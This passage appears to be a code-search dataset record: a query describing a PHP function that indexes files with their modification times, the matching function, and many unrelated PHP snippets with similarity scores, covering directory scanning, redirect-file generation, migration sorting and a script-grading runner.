\"\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t');\n\n\t\t$this->content.=$this->doc->startPage($LANG->getLL('title_llxml'));\n\t\t$this->content.=$this->doc->header($LANG->getLL('header_llxml'));\n\t\t$this->content.=$this->doc->divider(5);\n\t\t$this->content.=$this->doc->section('',$this->showCSH().t3lib_BEfunc::getFuncMenu('','SET[function]',$this->MOD_SETTINGS['function'],$this->MOD_MENU['function']));\n\n\t\t$this->content.= $GLOBALS['BE_USER']->isAdmin() ? $LANG->getLL('select_language').' '.t3lib_BEfunc::getFuncMenu('','SET[editLang]',$this->MOD_SETTINGS['editLang'],$this->MOD_MENU['editLang']):'';\n\n\t\t\t// Render content:\n\t\t$this->moduleContent();\n\n\t\t$this->content.=$this->doc->spacer(10);\n\t}", "function get_tools() {\n global $asf;\n return <<<EOD\n<p>Tools: \n<a href=\"http://validator.w3.org/check/referer\">html5</a>\n<a href=\"http://jigsaw.w3.org/css-validator/check/referer?profile=css3\">css3</a>\n<a href=\"http://jigsaw.w3.org/css-validator/check/referer?profile=css21\">css21</a>\n<a href=\"http://validator.w3.org/unicorn/check?ucn_uri=referer&amp;ucn_task=conformance\">unicorn</a>\n<a href=\"http://validator.w3.org/checklink?uri={$asf->request->current_url}\">links</a>\n<a href=\"http://qa-dev.w3.org/i18n-checker/index?async=false&amp;docAddr={$asf->request->current_url}\">i18n</a>\n<!-- <a href=\"link?\">http-header</a> -->\n<a href=\"http://csslint.net/\">css-lint</a>\n<a href=\"http://jslint.com/\">js-lint</a>\n<a href=\"http://jsperf.com/\">js-perf</a>\n<a href=\"http://www.workwithcolor.com/hsl-color-schemer-01.htm\">colors</a>\n<a href=\"http://dbwebb.se/style\">style</a>\n</p>\n\n<p>Docs:\n<a href=\"http://www.w3.org/2009/cheatsheet\">cheatsheet</a>\n<a href=\"http://dev.w3.org/html5/spec/spec.html\">html5</a>\n<a href=\"http://www.w3.org/TR/CSS2\">css2</a>\n<a href=\"http://www.w3.org/Style/CSS/current-work#CSS3\">css3</a>\n<a href=\"http://php.net/manual/en/index.php\">php</a>\n<a href=\"http://www.sqlite.org/lang.html\">sqlite</a>\n<a href=\"http://www.blueprintcss.org/\">blueprint</a>\n</p>\nEOD;\n}", "function genFile($long, $short)\n { \n $text = \"<?php\\n\n\t header(\\\"Cache-Control: no-cache, must-revalidate\\\");\\n\n\t header(\\\"Expires: Thu, 1 Jan 1970 00:00:00 GMT\\\");\\n\n\t header(\\\"Status: 301 Moved Permanently\\\");\\n\n\t header(\\\"Location: $long\\\");\\n\n\t ignore_user_abort(true);\";\n $fname = \"/var/www/html/grata.co/s/\".$short.\".php\";\n $fp = fopen($fname, 'w+') or die(\"can't open file\");\n $fwrite = fwrite($fp, $text);\n chmod($fname, 0755); \n }", "function index()\n {\n $this->output('consent/v_add_file_present');\n }", "public static function install()\n\t{\n\t\tmanpower_create_page_with_slug(MANPOWER_DEFAULT_CATALOG_SLUG);\n\t\tupdate_option('mp_catalog_slug', MANPOWER_DEFAULT_CATALOG_SLUG);\n\t\tupdate_option('mp_worker_slug', MANPOWER_DEFAULT_WORKER_SLUG);\t\t\n\t}", "function experiments_index()\n{\n $text = '<ul>';\n\n foreach( scandir('content/experiments/') as $file )\n {\n if( $file !== '.' && $file !== '..' )\n if( is_dir('content/experiments/'.$file) )\n\t{\n\t $text .= '<li>';\n\t $text .= '<a href=\"/experiments/'.$file.'\">'.$file.'</a>';\n\t $text .= '</li>';\n\t}\n }\n\n $text .= '</ul>';\n\n global $page;\n $page['posts'][]= array('text'=>$text);\n}", "public function generateStandalone();" ]
[ "0.6496574", "0.600136", "0.59931827", "0.53521115", "0.53412634", "0.53129745", "0.5299724", "0.52759737", "0.5271338", "0.52329427", "0.51791656", "0.5162254", "0.5110638", "0.50781804", "0.50737286", "0.50308216", "0.50241446", "0.5008004", "0.49877208", "0.49853593", "0.4984335", "0.49598518", "0.49400797", "0.4912967", "0.4907829", "0.49015895", "0.489659", "0.489587", "0.4890587", "0.48752126", "0.48649782", "0.48571828", "0.4854915", "0.48362365", "0.4825491", "0.4824684", "0.4802622", "0.47873586", "0.47767732", "0.47684672", "0.47664437", "0.47609788", "0.47450846", "0.4743168", "0.47332004", "0.47080293", "0.47052172", "0.46977603", "0.46959326", "0.46947223", "0.46942165", "0.46817598", "0.46772164", "0.46735775", "0.4668412", "0.46661204", "0.46644032", "0.46618858", "0.46612498", "0.46556476", "0.4650526", "0.46459046", "0.46458188", "0.46445143", "0.4629763", "0.4621895", "0.46182376", "0.4611494", "0.46061668", "0.46017504", "0.4600937", "0.460049", "0.45889544", "0.45779926", "0.4576122", "0.45751783", "0.4574276", "0.45732227", "0.45682287", "0.45659715", "0.45644686", "0.45595217", "0.45554766", "0.4552302", "0.45511845", "0.4551124", "0.45484167", "0.45456716", "0.4544684", "0.45438513", "0.4540084", "0.45369256", "0.45362452", "0.4535434", "0.45314443", "0.45310852", "0.4523742", "0.45232597", "0.45189717", "0.4517199", "0.45104432" ]
0.0
-1
/ Function: index compiles an array with hypha's system files and their creation timestamp Parameters: $dir directory needed for the recursive operation of this function
function index($dir = '.') { $index = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { if (isAllowedFile($dir.'/'.$file)) $index[preg_replace("/^\.\//i","",$dir.'/'.$file)] = filemtime($dir.'/'.$file); elseif (is_dir($dir.'/'.$file)) $index = array_merge($index, index($dir.'/'.$file)); } } closedir($handle); } return $index; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function getFileStruct($dir){\n $command = \"find \". $dir . \" -name '*.md'\";\n $list = array();\n\n exec ( $command, $list );\n\n $output = new \\StdClass;\n $list = array_reverse($list);\n\n\n $pages = array();\n\n\n\n foreach ($list as $path) {\n $relpath = str_replace($dir, '', $path);\n $info = $this->getFileInfo($path);\n $info['fullpath'] = $path;\n\n $part = explode('/', $relpath);\n $relfile = str_replace('.md', '', $part[count($part)-1]);\n\n\n $slug = $relpath;\n if (substr($slug, -9) == '/index.md'){\n $slug = str_replace('index.md','', $slug);\n } else {\n $slug = str_replace('.md','/', $slug);\n }\n $pages[$slug] = (object) $info;\n\n }\n\n\n $this->flatStruct = $pages;\n }", "function xcscandir($dir, &$expic_array)\r\n{\r\n static $dir_id = 0;\r\n static $count =0;\r\n static $pic_id=0;\r\n\r\n $pic_array = array();\r\n $dir_array = array();\r\n\r\n getfoldercontent($dir, $dir_array, $pic_array, $expic_array );\r\n\r\n if (count($pic_array) > 0){\r\n $dir_id_str=sprintf(\"d%04d\", $dir_id++);\r\n echo dirheader($dir, $dir_id_str);\r\n foreach ($pic_array as $picture) {\r\n $count++;\r\n $pic_id_str=sprintf(\"i%04d\", $pic_id++);\r\n echo picrow($dir.$picture, $pic_id_str, $dir_id_str );\r\n }\r\n }\r\n if (count($dir_array) > 0){\r\n foreach ($dir_array as $directory) {\r\n xcscandir($dir.$directory.'/', $expic_array);\r\n }\r\n }\r\n return $count;\r\n}", "function sortedFilesIndexed($mig_dir) {\n // Prepare a sorted list of up and down migrations scripts.\n $mig_files = glob($mig_dir.'*.{sql}', GLOB_BRACE);\n $mig_indexed = array();\n foreach ($mig_files as $idx=>$filename) {\n $timestamp = $this->getTS($filename);\n if ($timestamp) {\n $mig_indexed[$timestamp] = $filename;\n }\n }\n\t\tasort($mig_indexed, SORT_NUMERIC);\n return $mig_indexed;\n }", "function load_results($dir) {\n\n\t\t$data = array();\n\n\t\t$fs_dir = opendir($dir);\n\t\twhile ($fs = readdir($fs_dir)) {\n\n\t\t\tif ((! is_dir(\"$dir/$fs\")) || (in_array($fs,array('.','..')))) { continue; }\n\n\t\t\techo \"$dir/$fs\\n\";\n\n\t\t\t$data[$fs] = array();\n\n\t\t\t$pgbs_dir = opendir(\"$dir/$fs\");\n\t\t\twhile ($pgbs = readdir($pgbs_dir)) {\n\n\t\t\t\tif ($pgbs == '.' || $pgbs == '..') { continue; }\n\n\t\t\t\techo \"\\t$pgbs:\";\n\n\t\t\t\t$data[$fs][$pgbs] = array();\n\n\t\t\t\t$fsbs_dir = opendir(\"$dir/$fs/$pgbs\");\n\t\t\t\twhile ($fsbs = readdir($fsbs_dir)) {\n\n\t\t\t\t\tif ($fsbs == '.' || $fsbs == '..') { continue; }\n\n\t\t\t\t\techo \" $fsbs\";\n\n\t\t\t\t\t$data[$fs][$pgbs][$fsbs] = array();\n\n\t\t\t\t\t$data[$fs][$pgbs][$fsbs]['hash'] = md5(\"$fs/$pgbs/$fsbs\" . microtime(true));\n\n\t\t\t\t\t$data[$fs][$pgbs][$fsbs]['pgbench'] = array();\n\n\t\t\t\t\t$data[$fs][$pgbs][$fsbs]['pgbench']['ro'] = load_pgbench(\"$dir/$fs/$pgbs/$fsbs/pgbench/ro\", 1);\n\t\t\t\t\t$data[$fs][$pgbs][$fsbs]['pgbench']['rw'] = load_pgbench(\"$dir/$fs/$pgbs/$fsbs/pgbench/rw\", 9);\n\n\t\t\t\t\t$data[$fs][$pgbs][$fsbs]['tpch'] = load_tpch(\"$dir/$fs/$pgbs/$fsbs/tpch\");\n\n\t\t\t\t}\n\t\t\t\tclosedir($fsbs_dir);\n\t\t\t\techo \"\\n\";\n\n\t\t\t}\n\t\t\tclosedir($pgbs_dir);\n\n\t\t}\n\t\tclosedir($fs_dir);\n\n\t\treturn $data;\n\t}", "function buildArray($dir,$file,$onlyDir,$type,$allFiles,$files) {\n\n\t$typeFormat = FALSE;\n\tforeach ($type as $item)\n {\n \tif (strtolower($item) == substr(strtolower($file), -strlen($item)))\n\t\t\t$typeFormat = TRUE;\n\t}\n\n\tif($allFiles || $typeFormat == TRUE)\n\t{\n\t\tif(empty($onlyDir))\n\t\t\t$onlyDir = substr($dir, -strlen($dir), -1);\n\t\t$files[$dir.$file]['path'] = $dir;\n\t\t$files[$dir.$file]['file'] = $file;\n\t\t$files[$dir.$file]['size'] = fsize($dir.$file);\n\t\t$files[$dir.$file]['date'] = filemtime($dir.$file);\n\t}\n\treturn $files;\n}", "function directory_list($dir, $type = \"php\", $excl = array(), $sort = 0)\n{\n $directory_array = array();\n if (is_dir($dir)) {\n $handle = opendir($dir);\n while ($file = readdir($handle))\n {\n $file_arr = explode(\".\", $file);\n if (!is_dir($file)) {\n if (isset($file_arr[1]) && $file_arr[1] == $type && !in_array($file_arr[0], $excl)) {\n //array_push($directory_array, $file_arr[0]); //eroforras igenyesebb\n if ($sort == 0) {\n $directory_array[] = $file_arr[0];\n }\n if ($sort == 1) {\n $directory_array[$file_arr[0]] = $file_arr[0];\n }\n }\n }\n }\n closedir($handle);\n if ($sort == 0) {\n sort($directory_array);\n }\n if ($sort == 1) {\n ksort($directory_array);\n }\n }\n return $directory_array;\n}", "private static function makeJSON(string $dir) : array\n\t{\n\t\tstatic $index = 0;\n\n\t\t$aeFiles = \\MarkNotes\\Files::getInstance();\n\t\t$aeEvents = \\MarkNotes\\Events::getInstance();\n\t\t$aeSession = \\MarkNotes\\Session::getInstance();\n\t\t$aeSettings = \\MarkNotes\\Settings::getInstance();\n\n\t\t$root = str_replace('/', DS, $aeSettings->getFolderDocs(true));\n\n\t\t$rootNode = $aeSettings->getFolderDocs(false);\n\n\t\t// Get the list of files and folders for the treeview\n\t\t$arrEntries = self::directoryToArray($dir);\n\n\t\t// Now, prepare the JSON return\n\t\t$sDirectoryText = basename($dir);\n\t\t$sID = str_replace(dirname($root) . DS, '', $dir);\n\t\t$sID = rtrim($sID, DS) . DS;\n\n\t\t// It's a folder node\n\t\t$dataURL = str_replace(DS, '/', str_replace(dirname($root) . DS, '', $dir));\n\t\t$dataURL .= (($root == $dir) ? '' : '/') . 'index.html';\n\n\t\tif (PHP_7_0) {\n\t\t\t// Avoid PHP 7.0.x bug : handle accents\n\t\t\t$arrSettings = $aeSettings->getPlugins('/interface');\n\t\t\t$bConvert = boolval($arrSettings['accent_conversion'] ?? 1);\n\n\t\t\tif ($bConvert) {\n\t\t\t\t$sID = iconv('UTF-8', 'UTF-8//IGNORE', utf8_encode($sID));\n\n\t\t\t\t// accent_conversion in settings.json has\n\t\t\t\t// been initialized to 1 => make the conversion\n\t\t\t\t$sDirectoryText = iconv('UTF-8', 'UTF-8//IGNORE', utf8_encode($sDirectoryText));\n\n\t\t\t\t$dataURL = iconv('UTF-8', 'UTF-8//IGNORE', utf8_encode($dataURL));\n\t\t\t}\n\t\t}\n\n\t\t$listDir = [\n\t\t\t'id' => md5($sID),\n\t\t\t'type' => 'folder',\n\t\t\t'icon' => 'folder',\n\t\t\t'text' => str_replace(DS, '/', $sDirectoryText),\n\t\t\t'state' => [\n\t\t\t\t// Opened only if the top root folder\n\t\t\t\t'opened' => (($root == $dir) ? 1 : 0),\n\t\t\t\t'disabled' => 1\n\t\t\t],\n\t\t\t'data' => [\n\t\t\t\t//'task' => 'display',\n\t\t\t\t// Right clic on the node ?\n\t\t\t\t// Open the_folder/index.html page\n\t\t\t\t'url' => $dataURL,\n\t\t\t\t'path' => str_replace(DS, '/', $sID)\n\t\t\t],\n\t\t\t'children' => []\n\t\t];\n\n\t\t$dirs = [];\n\t\t$files = [];\n\n\t\tforeach ($arrEntries as $entry) {\n\t\t\tif ($entry['type'] == 'file') {\n\t\t\t\t$entry['name'] = str_replace('/', DS, $entry['name']);\n\n\t\t\t\t// We're processing a filename\n\t\t\t\t$index += 1;\n\n\t\t\t\t//Filename but without the extension (and no path)\n\t\t\t\t$filename = str_replace('.md', '', basename($entry['name']));\n\n\t\t\t\t// Relative filename like f.i.\n\t\t\t\t// docs/the_folder/a_note.md\n\t\t\t\t$id = str_replace($root, $rootNode, $entry['name']);\n\n\t\t\t\tif (PHP_7_0) {\n\t\t\t\t\tif ($bConvert) {\n\t\t\t\t\t\t// accent_conversion in settings.json has\n\t\t\t\t\t\t// been initialized to 1 => make the conversion\n\t\t\t\t\t\t$id = iconv('UTF-8', 'UTF-8//IGNORE', utf8_encode($id));\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Right-click on a file = open it's HTML version\n\t\t\t\t$dataURL = str_replace($root, '', $entry['name']);\n\n\t\t\t\t// Should be relative to the /docs folder\n\t\t\t\t$dataURL = $aeSettings->getFolderDocs(false) . $dataURL;\n\t\t\t\t$dataURL = str_replace(DS, '/', $dataURL) . '.html';\n\n\t\t\t\t$sFileText = $filename;\n\n\t\t\t\t// If the title is really long, …\n\t\t\t\t// 30 characters in the treeview are enough\n\t\t\t\tif (strlen($sFileText) > TREEVIEW_MAX_FILENAME_LENGTH) {\n\t\t\t\t\t/* We'll truncate the filename to only the first ...\n\t\t\t\t\tthirty ... characters\n\t\t\t\t\tBut, special case, when the filename is truncated,\n\t\t\t\t\tif the very last position is an accentuated char.,\n\t\t\t\t\twe can't truncate exactly at that size because such\n\t\t\t\t\tcharacter is on two bytes. We can only keep the first\n\t\t\t\t\tone otherwise we'll have an encoding problem.\n\t\t\t\t\tSo, in this case, truncate one more char (so keep\n\t\t\t\t\t29 f.i.)\n\t\t\t\t\t*/\n\t\t\t\t\ttry {\n\t\t\t\t\t\t$wLen = TREEVIEW_MAX_FILENAME_LENGTH;\n\t\t\t\t\t\t$tmp = json_encode(substr($sFileText, 0, $wLen));\n\t\t\t\t\t\tif (json_last_error() === JSON_ERROR_UTF8) {\n\t\t\t\t\t\t\t$wLen--;\n\t\t\t\t\t\t\t$tmp = json_encode(substr($sFileText, 0, $wLen));\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$sFileText = substr($sFileText, 0, $wLen) . ' …';\n\t\t\t\t\t} catch (Exception $e) {\n\t\t\t\t\t\t/*<!-- build:debug -->*/\n\t\t\t\t\t\tdie(\"<pre style='background-color:yellow;'>\" . __FILE__ . ' - ' . __LINE__ . ' ' . print_r($sFileText, true) . '</pre>');\n\t\t\t\t\t\t/*<!-- endbuild -->*/\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$dataBasename = $aeFiles->removeExtension(basename($dataURL));\n\n\t\t\t\t$dataFile = str_replace($root, '', $entry['name']);\n\t\t\t\t$dataFile = str_replace(DS, '/', $dataFile);\n\n\t\t\t\t$default_task = 'task.export.html';\n\n\t\t\t\t// In the list of files, help the jsTree plugin\n\t\t\t\t// to know that the action should be EDIT and not DISPLAY\n\t\t\t\t// when the user click on the note that was just created\n\t\t\t\t$lastAddedNote = trim($aeSession->get('last_added_note', ''));\n\n\t\t\t\tif ($dataBasename === $lastAddedNote) {\n\t\t\t\t\t$default_task = 'task.edit.form';\n\t\t\t\t}\n\n\t\t\t\tif (PHP_7_0) {\n\t\t\t\t\tif ($bConvert) {\n\t\t\t\t\t\t// accent_conversion in settings.json has\n\t\t\t\t\t\t// been initialized to 1 => make the conversion\n\t\t\t\t\t\t$sFileText = iconv('UTF-8', 'UTF-8//IGNORE', utf8_encode($sFileText));\n\n\t\t\t\t\t\t$dataBasename = iconv('UTF-8', 'UTF-8//IGNORE', utf8_encode($dataBasename));\n\n\t\t\t\t\t\t$dataFile = iconv('UTF-8', 'UTF-8//IGNORE', utf8_encode($dataFile));\n\n\t\t\t\t\t\t$dataURL = iconv('UTF-8', 'UTF-8//IGNORE', utf8_encode($dataURL));\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$files[] = [\n\t\t\t\t\t'id' => md5($id),\n\t\t\t\t\t'icon' => 'file file-md',\n\t\t\t\t\t'text' => $sFileText,\n\t\t\t\t\t'data' => [\n\t\t\t\t\t\t'basename' => $dataBasename,\n\t\t\t\t\t\t'task' => $default_task,\n\t\t\t\t\t\t'file' => $dataFile,\n\t\t\t\t\t\t'url' => $dataURL\n\t\t\t\t\t],\n\t\t\t\t\t'state' => [\n\t\t\t\t\t\t'opened' => 0,\t// A file isn't opened\n\t\t\t\t\t\t'selected' => 0 // and isn't selected by default\n\t\t\t\t\t]\n\t\t\t\t];\n\t\t\t} elseif ($entry['type'] == 'folder') {\n\t\t\t\t// It's a folder\n\n\t\t\t\t// Derive the folder name\n\t\t\t\t// From c:/sites/marknotes/docs/the_folder, keep /the_folder/\n\t\t\t\t$fname = str_replace($root, '', $entry['name']);\n\t\t\t\t$fname = DS . ltrim(rtrim($fname, DS), DS) . DS;\n\n\t\t\t\t// The folder should start and end with the slash\n\t\t\t\t// so \"/the_folder/\" and not something else.\n\t\t\t\t$tmp = [\n\t\t\t\t\t'folder' => rtrim($root, DS) . $fname,\n\t\t\t\t\t'return' => true\n\t\t\t\t];\n\n\t\t\t\t$args = [&$tmp];\n\n\t\t\t\t// If the task.acls.cansee wasn't fired i.e. when\n\t\t\t\t// there was no folder to protect, the trigger even\n\t\t\t\t// return False. Otherwise, trigger return True :\n\t\t\t\t// the plugin has been fired\n\t\t\t\tif (static::$bACLsLoaded) {\n\t\t\t\t\t$bReturn = $aeEvents->trigger('task.acls.cansee::run', $args);\n\t\t\t\t} else {\n\t\t\t\t\t// ACLs plugin not loaded; every files / folders\n\t\t\t\t\t// can be accessed\n\t\t\t\t\t$args[0]['return'] = 1;\n\t\t\t\t\t$bReturn = true;\n\t\t\t\t}\n\n\t\t\t\t// The canSeeFolder event will initialize the 'return'\n\t\t\t\t// parameter to false when the current user can't see the\n\t\t\t\t// folder i.e. don't have the permission to see it. This\n\t\t\t\t// permission is defined in the acls plugin options\n\t\t\t\t//\n\t\t\t\t// See function run() of\n\t\t\t\t// MarkNotes\\Plugins\\Task\\ACLs\\cansee.php\n\t\t\t\t// for more information\n\t\t\t\t//\n\t\t\t\t// $bReturn === false ==> there was no protected folder.\n\t\t\t\tif (($bReturn === false) || ($args[0]['return'] === 1)) {\n\t\t\t\t\t//$dirs [] = utf8_decode($entry['name']);\n\t\t\t\t\t$dirs[] = $entry['name'];\n\t\t\t\t}\n\t\t\t} // if ($entry['type']=='folder')\n\t\t} // foreach\n\n\t\t// The current folder has been processed, are\n\t\t// there subfolders in it ?\n\t\tif (count($dirs) > 0) {\n\t\t\tforeach ($dirs as $d) {\n\t\t\t\tlist($arrChildren, $tmp) = self::makeJSON($d);\n\t\t\t\t$listDir['children'][] = $arrChildren;\n\t\t\t}\n\t\t}\n\n\t\tforeach ($files as $file) {\n\t\t\t$listDir['children'][] = $file;\n\t\t}\n\n\t\treturn [$listDir, $index];\n\t}", "function outputFiles($path)\n{\n // totalOutput contains 2 arrays - valid (for valid file types), invalid (for unsupported file types)\n $totalOutput = [\"valid\" => [], \"invalid\" => []];\n $totalExecOutput = [];\n $internsSubmitted = 0;\n\n // Check directory exists or not\n if (file_exists($path) && is_dir($path)) {\n // Scan the files in this directory\n $result = scandir($path);\n // Filter out the current (.) and parent (..) directories\n $files = array_diff($result, array('.', '..'));\n if (count($files) > 0) {\n // Loop through return array\n foreach ($files as $file) {\n $filePath = \"$path/$file\";\n // increase the internsSubmitted\n $internsSubmitted += 1;\n if (is_file($filePath)) {\n // Split the filename\n $fileExtension = getFileExtension($file);\n if ($fileExtension) {\n switch ($fileExtension) {\n case 'js':\n $scriptOut = run_script(\"node $filePath 2>&1\", \"Javascript\", $file);\n array_push($totalExecOutput, $scriptOut);\n break;\n\n case 'py':\n $scriptOut = run_script(\"python3 $filePath 2>&1\", \"Python\", $file);\n array_push($totalExecOutput, $scriptOut);\n break;\n\n case 'php':\n $scriptOut = run_script(\"php $filePath 2>&1\", \"PHP\", $file);\n array_push($totalExecOutput, $scriptOut);\n break;\n\n default:\n $scriptOut = [];\n $properResponse = \"Files with .\" . $fileExtension . \" extension are not supported!\";\n $scriptOut['output'] = $properResponse;\n $scriptOut['name'] = \"null\";\n $scriptOut['file'] = $file;\n $scriptOut['id'] = \"null\";\n $scriptOut['email'] = \"null\";\n $scriptOut['language'] = \"null\";\n $scriptOut['status'] = \"fail\";\n array_push($totalOutput['invalid'], $scriptOut);\n break;\n }\n }\n }\n }\n }\n }\n foreach ($totalExecOutput as $execOutput) {\n $processedOutput = analyzeScript($execOutput[0], $execOutput[1], $execOutput[2]);\n array_push($totalOutput['valid'], $processedOutput);\n }\n list($totalPass, $totalFail) = getPassedAndFailed($totalOutput);\n return array($totalOutput, $internsSubmitted, $totalPass, $totalFail);\n}", "public function getDataFilesList(){\r\n $data_dir = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'Data';\r\n $files = scandir($data_dir);\r\n\r\n $files_list = array();\r\n $index = 0;\r\n foreach ($files as $file) {\r\n if($file != '.' && $file != '..'){\r\n $files_list[$index]['name'] = $file;\r\n $files_list[$index]['update_time'] = filemtime($data_dir . DIRECTORY_SEPARATOR . $file);\r\n $files_list[$index]['type'] = $this->getFileType($file);\r\n $index++;\r\n }\r\n }\r\n\r\n $update_times = array();\r\n foreach($files_list as $data){\r\n $update_times[] = $data['update_time'];\r\n }\r\n array_multisort($update_times, SORT_DESC, $files_list);\r\n return $files_list;\r\n }", "public function buildIndexes() {\n\t\t$return = array();\n\t\t$indexes = array(\n\t\t\t\"work\" => __DIR__.'/../content/work',\n\t\t\t\"authors\" => __DIR__.'/../content/authors',\n\t\t\t\"tags\" => __DIR__.'/../content/tags'\n\t\t);\n\t\tforeach ($indexes as $type => $location) {\n\t\t\tforeach(glob($location . '/*.json') as $file) {\n\t\t\t\t$entry = json_decode(file_get_contents($file),true);\n\t\t\t\tif ($entry) {\n\t\t\t\t\t$key = str_replace(array('.json',$location.'/'),'',$file);\n\t\t\t\t\t$return[$type][$key] = $entry;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// move author details\n\t\t$details = $return['authors'];\n\t\tunset($return['authors']);\n\t\t$return['authors']['details'] = $details;\n\n\t\t// add author details and permalink to work\n\t\tforeach ($return['work'] as $key => &$entry) {\n\t\t\t$entry['permalink'] = $this->root_url . '/view/' . $entry['id'];\n\t\t\tif (is_array($return['authors']['details'][$entry['author_id']])) {\n\t\t\t\t$entry['author_name'] = $return['authors']['details'][$entry['author_id']]['name'];\n\t\t\t\t$entry['author_byline'] = $return['authors']['details'][$entry['author_id']]['byline'];\n\t\t\t}\n\t\t}\n\n\t\t// sort work to newest-first\n\t\tuasort($return['work'], array(\"Harvard\", \"sortIndex\"));\n\n\t\t// do tag stuff\n\t\t$details = $return['tags'];\n\t\tunset($return['tags']);\n\t\t$return['tags']['details'] = $details;\n\t\t$tag_list = array();\n\t\t$tag_index = array();\n\t\t$author_index = array();\n\t\tif (is_array($return['work'])) {\n\t\t\tforeach ($return['work'] as $work) {\n\t\t\t\t$author_index[$work['author_id']][] = $work['id'];\n\t\t\t\tif (is_array($work['tags'])) {\n\t\t\t\t\tif (count($work['tags'])) {\n\t\t\t\t\t\tforeach ($work['tags'] as $tag) {\n\t\t\t\t\t\t\t$tag_index[$tag][] = $work['id'];\n\t\t\t\t\t\t\t$tag_list[] = $tag;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$tag_list = array_unique($tag_list); // trim tags to unique\n\t\tsort($tag_list); // alphabetize\n\n\t\t// format the tag list for mustache iteration\n\t\t$tmp_array = array();\n\t\tforeach ($tag_list as $tag) {\n\t\t\t$tmp_array[]['tag'] = $tag;\n\t\t}\n\t\t$tag_list = $tmp_array;\n\n\t\t$return['tags']['count'] = count($tag_list);\n\t\t$return['tags']['list'] = $tag_list;\n\t\t$return['tags']['index'] = $tag_index;\n\n\t\t$return['authors']['index'] = $author_index;\n\n\t\tforeach ($return as $type => $data) {\n\t\t\tfile_put_contents(__DIR__.'/../content/_generated_'.$type.'.json',json_encode($data));\n\t\t}\n\t\treturn $return;\n\t}", "function dirtree_array($folder){\n // counter for $docnr\n static $i = 1;\n // if folder can be opend\n if($handle = opendir($folder)){\n // read folder content\n while(($file_name = readdir($handle)) !== false){\n // make dir_path for link\n $dir_path = str_replace(FILE_FOLDER,DS.APP_FOLDER,$folder);\n // cleanup filename\n if(!preg_match(\"#^\\.#\", $file_name))\n // make folder entry and call this function again for files\n if(is_dir($folder.DS.$file_name )){\n // jump over forbidden file or folder\n if (in_array($file_name, FORBIDDEN_FOLDERS)){continue;}\n // dreate file properties\n $file_properties[$file_name] = array(\n \"nr\" => $i++,\n \"path\" => $dir_path,\n \"name\" => $file_name,\n \"ext\" => \"folder\",\n \"childs\" => dirtree_array($folder.DS.$file_name));\n }else{\n $ext = '.'.pathinfo($file_name, PATHINFO_EXTENSION);\n // read only files with allowed extensions\n if($ext != EXTENSION){continue;}\n $file_name = str_replace($ext,'',$file_name);\n // jump over forbidden file or folder\n if (in_array($file_name, INVISIBLE_FILES)){continue;}\n // dreate file properties\n $file_properties[$file_name] = array(\n \"nr\" => $i++,\n \"path\" => $dir_path,\n \"name\" => $file_name,\n \"ext\" => $ext,\n \"childs\" => false);\n }\n }\n closedir($handle);\n }\n return $file_properties ;\n}", "function prev_files(){\n\tglobal $sleep;\n\t$files_list = array();\n\t$scan_dir = scandir(OUTPUT_FOLDER, 1);\n\t$prev_file = isset($scan_dir[0]) ? $scan_dir[0] : '';\n\tif(empty($prev_file) || $prev_file == '.' || $prev_file == '..'){\n\t\treturn $files_list;\n\t}\n\t$prev_file = OUTPUT_FOLDER.'/'.$prev_file;\n\tif(file_exists($prev_file)){\n\t\t$available_list = $dir_lists = array();\n\t\t$file_content = file_get_contents($prev_file);\n\t\t$json = json_decode($file_content);\n\t\tforeach($json as $file_info){\n\t\t\t$file = $file_info->file;\n\t\t\tif(!is_dir($file)){\n\t\t\t\t$dir_array = explode('/',$file);\n\t\t\t\t$dir_count = count($dir_array);\n\t\t\t\t$dir_list = '';\n\t\t\t\tfor($x = 0; $x < $dir_count - 1; $x++){\n\t\t\t\t\t$dir_list .= $dir_array[$x].'/';\n\t\t\t\t}\n\t\t\t\tif(!in_array($dir_list,$dir_lists)){\n\t\t\t\t\tarray_push($dir_lists,$dir_list);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$info = $file_info->info;\n\t\t\t$dt = array();\n\t\t\tforeach($info as $key=>$val){\n\t\t\t\t$dt[$key] = $val;\n\t\t\t}\n\t\t\t$data = array(\n\t\t\t\t'file'=>$file,\n\t\t\t\t'info'=>$dt\n\t\t\t);\n\t\t\tarray_push($files_list,$data);\n\t\t}\n\t\tif(count($dir_lists) > 0){\n\t\t\t//See if we have directories that are not listed as scanned from previous scan\n\t\t\tforeach($dir_lists as $dir){\n\t\t\t\tif(array_multi_search($files_list,'file',$dir)){\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t$dir_stat = stat($dir);\n\t\t\t\t$dt = array();\n\t\t\t\tforeach($dir_stat as $key=>$val){\n\t\t\t\t\t$dt[$key] = $val;\n\t\t\t\t}\n\t\t\t\t$data = array(\n\t\t\t\t\t'file'=>$dir,\n\t\t\t\t\t'info'=>$dt\n\t\t\t\t);\n\t\t\t\tarray_push($files_list,$data);\n\t\t\t}\n\t\t}\n\t}\n\treturn $files_list;\n}", "function scanDir($cfg) //$view, $tdir , $subdir='', $match)\n {\n $ff = HTML_FlexyFramework::get();\n \n $subdir = $cfg['subdir'];\n $scandir = $cfg['tdir']. (empty($subdir) ? '' : '/') . $subdir;\n \n if (in_array($subdir, $cfg['skipdir'])) {\n return array();\n }\n // skip dom_templates\n \n if (!file_exists($scandir)) {\n return array();\n }\n $dh = opendir($scandir);\n if(!$dh){\n return array(); // something went wrong!?\n }\n $ret = array();\n \n while (($fn = readdir($dh)) !== false) {\n // do we care that it will try and parse the template directory??? - not really..\n // as we are only looking for php files..\n if(empty($fn) || $fn[0] == '.'){\n continue;\n }\n \n $fullpath = $scandir.(empty($scandir) ? '' : \"/\").$fn;\n // echo \"filename: $fullpath \\n\";\n \n if (is_link($fullpath)) {\n continue;\n }\n \n if(is_dir($fullpath)){\n // then recursively call self...\n $cfg['subdir'] = $subdir . 